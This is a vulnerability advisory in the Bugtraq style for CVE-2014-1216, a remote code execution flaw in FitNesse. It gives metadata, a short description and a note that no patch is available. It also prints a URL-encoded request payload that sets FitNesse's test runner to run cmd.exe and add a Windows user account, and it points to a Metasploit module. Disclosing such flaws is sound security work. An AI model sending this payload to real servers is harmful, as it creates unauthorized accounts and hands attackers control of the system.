Fitnesse CVE-2014-1216 Remote Code Execution Vulnerability

Bugtraq ID:	65921
Class:	Input Validation Error
CVE:	CVE-2014-1216
Remote:	Yes
Local:	No
Published:	Mar 02 2014 12:00AM
Updated:	Apr 02 2014 01:16AM
Credit:	Jerzy Kramarz
Vulnerable:
Not Vulnerable:

Fitnesse CVE-2014-1216 Remote Code Execution Vulnerability

Fitnesse is prone to remote code execution vulnerability.

Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the affected application.

Fitnesse CVE-2014-1216 Remote Code Execution Vulnerability

An attacker can exploit this issue using a web browser.

The following example data and metasploit module are available:

editTime=1384209902568&ticketId=-7153973663219190464&responder=saveData&helpText=&suites=&__EDITOR__1=textarea&pageContent=%21define+COMMAND_PATTERN+%7B%25m+%7C%7C+%7D%0D%0A%21define+TEST_RUNNER+%7Bcmd.exe+%2Fc+%22net+user+XXXXXXXX+XXXXXXXX+%2Fadd%22%7D%0D%0A%21path+dotnet4%5Cdbfit.dll%0D%0A%21path+dotnet4%5Cdbfit.sqlserver.dll%0D%0A%21path+dotnet2%5C*.dll&save=Save

• /data/vulnerabilities/exploits/65921.rb

Fitnesse CVE-2014-1216 Remote Code Execution Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Fitnesse CVE-2014-1216 Remote Code Execution Vulnerability

References: